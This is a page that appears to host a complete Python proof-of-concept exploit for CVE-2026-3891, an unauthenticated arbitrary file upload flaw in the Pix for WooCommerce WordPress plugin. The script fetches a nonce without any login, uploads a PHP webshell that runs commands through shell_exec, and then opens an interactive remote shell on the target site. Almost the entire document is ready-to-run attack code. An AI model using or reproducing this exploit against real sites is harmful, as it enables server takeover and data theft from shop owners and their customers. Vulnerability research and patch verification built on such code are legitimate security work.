5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2026-3891.py PY
#!/usr/bin/env python3
# CVE-2026-3891 — Pix for WooCommerce <= 1.5.0 - Unauthenticated Arbitrary File Upload
# Affected: payment-gateway-pix-for-woocommerce <= 1.5.0
# Impact: Unauthenticated attacker can upload arbitrary files (e.g. PHP webshells) to the server
# Author: Joshua van der Poll (https://github.com/joshuavanderpoll)
# Repo: https://github.com/joshuavanderpoll/CVE-2026-3891
 
import argparse
import json
import os
import sys
import tempfile
import warnings
 
import requests
 
warnings.filterwarnings("ignore")
 
RESET  = "\033[0m"
BOLD   = "\033[1m"
RED    = "\033[91m"
GREEN  = "\033[92m"
YELLOW = "\033[93m"
BLUE   = "\033[94m"
PINK   = "\033[95m"
CYAN   = "\033[96m"
 
REPO       = "https://github.com/joshuavanderpoll/CVE-2026-3891"
SHELL_NAME = "shell.php"
SHELL_PATH = f"wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/{SHELL_NAME}"
 
parser = argparse.ArgumentParser(description="CVE-2026-3891 PoC")
parser.add_argument("--url",       required=True, help="Target WordPress base URL (e.g. https://target.com)")
parser.add_argument("--command",   default=None,  help="Command to run on target after upload (e.g. whoami)")
parser.add_argument("--timeout",   type=int, default=10, help="Request timeout in seconds (default: 10)")
parser.add_argument("--useragent", default=f"Mozilla/5.0 AppleWebKit/537.36 (CVE-2026-3891; +{REPO})", help="Custom User-Agent")
args = parser.parse_args()
 
BASE_URL   = args.url.rstrip("/")
TIMEOUT    = args.timeout
UA         = args.useragent
 
session = requests.Session()
session.verify = False
session.headers.update({"User-Agent": UA})
 
 
def info(msg):    print(f"  {CYAN}[*]{RESET} {msg}")
def success(msg): print(f"  {GREEN}[+]{RESET} {msg}")
def error(msg):   print(f"  {RED}[-]{RESET} {msg}")
def process(msg): print(f"  {BLUE}[@]{RESET} {msg}")


def banner():
    print(f"\n{PINK}{BOLD}")
    print(r"   _____   _____   ___ __ ___  __    ____ ___ ___  _ ")
    print(r"  / __\ \ / / __|_|_  )  \_  )/ / __|__ /( _ ) _ \/ |")
    print(r" | (__ \ V /| _|___/ / () / // _ \___|_ \/ _ \_, /| |")
    print(r"  \___| \_/ |___| /___\__/___\___/  |___/\___//_/ |_|")
    print(f"{RESET}")
    print(f"  {PINK}{BOLD}{REPO}{RESET}\n")


def get_nonce():
    process("Fetching nonce ...")
 
    r = session.post(
        f"{BASE_URL}/wp-admin/admin-ajax.php",
        data={
            "action":      "lkn_pix_for_woocommerce_generate_nonce",
            "action_name": "lkn_pix_for_woocommerce_c6_settings_nonce",
        },
        timeout=TIMEOUT,
    )
 
    try:
        data = r.json()
    except Exception:
        error(f"Non-JSON nonce response: {r.text}")
        sys.exit(1)
 
    if not isinstance(data, dict) or not data.get("success"):
        error(f"Nonce request failed: {data}")
        sys.exit(1)
 
    nonce = data["data"]["nonce"]
    success(f"Nonce       : {YELLOW}{nonce}{RESET}")
    return nonce
 
 
def upload_shell(nonce):
    process(f"Uploading {SHELL_NAME} ...")
 
    shell_code = b"<?php if(isset($_REQUEST[0])){echo shell_exec($_REQUEST[0]);}?>"
 
    with tempfile.NamedTemporaryFile(suffix=".php", delete=False) as tmp:
        tmp.write(shell_code)
        tmp_path = tmp.name
 
    try:
        data = {
            "action":      "lkn_pix_for_woocommerce_c6_save_settings",
            "_ajax_nonce": nonce,
            "settings":    json.dumps({"enabled": "yes", "title": "PIX C6", "pix_expiration_minutes": 30}),
        }
 
        with open(tmp_path, "rb") as f:
            files = {
                "certificate_crt_path": (SHELL_NAME, f, "application/octet-stream"),
            }
 
            r = session.post(
                f"{BASE_URL}/wp-admin/admin-ajax.php",
                data=data,
                files=files,
                timeout=TIMEOUT,
            )
    finally:
        os.unlink(tmp_path)
 
    try:
        resp = r.json()
    except Exception:
        error(f"Unexpected response: {r.text}")
        sys.exit(1)
 
    if not resp.get("success"):
        error(f"Upload failed: {resp}")
        sys.exit(1)
 
    shell_url = f"{BASE_URL}/{SHELL_PATH}"
 
    success(f"Shell uploaded!")
    success(f"Remote path : {YELLOW}{SHELL_PATH}{RESET}")
    success(f"Shell URL   : {YELLOW}{shell_url}{RESET}")
    return shell_url
 
 
def verify_shell(url):
    process("Verifying shell is accessible ...")
 
    r = session.get(url, timeout=TIMEOUT)
 
    if r.status_code == 200:
        success(f"Shell is accessible! HTTP {r.status_code}")
        return True
 
    error(f"Shell returned HTTP {r.status_code} — may not be directly accessible")
    return False
 
 
def run_command(shell_url, command):
    process(f"Running: {YELLOW}{command}{RESET}")
 
    r = session.get(shell_url, params={"0": command}, timeout=TIMEOUT)
 
    if r.status_code != 200 or not r.text.strip():
        error(f"No output returned (HTTP {r.status_code})")
        return
 
    print()
    print(f"  {BOLD}{'─' * 60}{RESET}")
    print(f"  {GREEN}{r.text.strip()}{RESET}")
    print(f"  {BOLD}{'─' * 60}{RESET}")
    print()
 
 
def interactive_shell(shell_url):
    """Drop into a simple interactive prompt if no --command was given."""
    info(f"Dropping into interactive shell. Type {YELLOW}exit{RESET} to quit.\n")
 
    while True:
        try:
            cmd = input(f"  {PINK}shell{RESET}> ").strip()
        except (KeyboardInterrupt, EOFError):
            print()
            break
 
        if not cmd:
            continue
 
        if cmd.lower() in ("exit", "quit"):
            break
 
        run_command(shell_url, cmd)
 
 
def main():
    banner()
 
    info(f"Target  : {YELLOW}{BASE_URL}{RESET}")
    info(f"Timeout : {YELLOW}{TIMEOUT}s{RESET}")
    print()
 
    nonce = get_nonce()
    print()
 
    shell_url = upload_shell(nonce)
    print()
 
    if not verify_shell(shell_url):
        sys.exit(1)
 
    print()
 
    if args.command:
        run_command(shell_url, args.command)
    else:
        interactive_shell(shell_url)
 
    print(f"  {YELLOW}⭐ If this tool helped you, consider starring the repo: {BOLD}{REPO}{RESET}\n")
 
 
if __name__ == "__main__":
    main()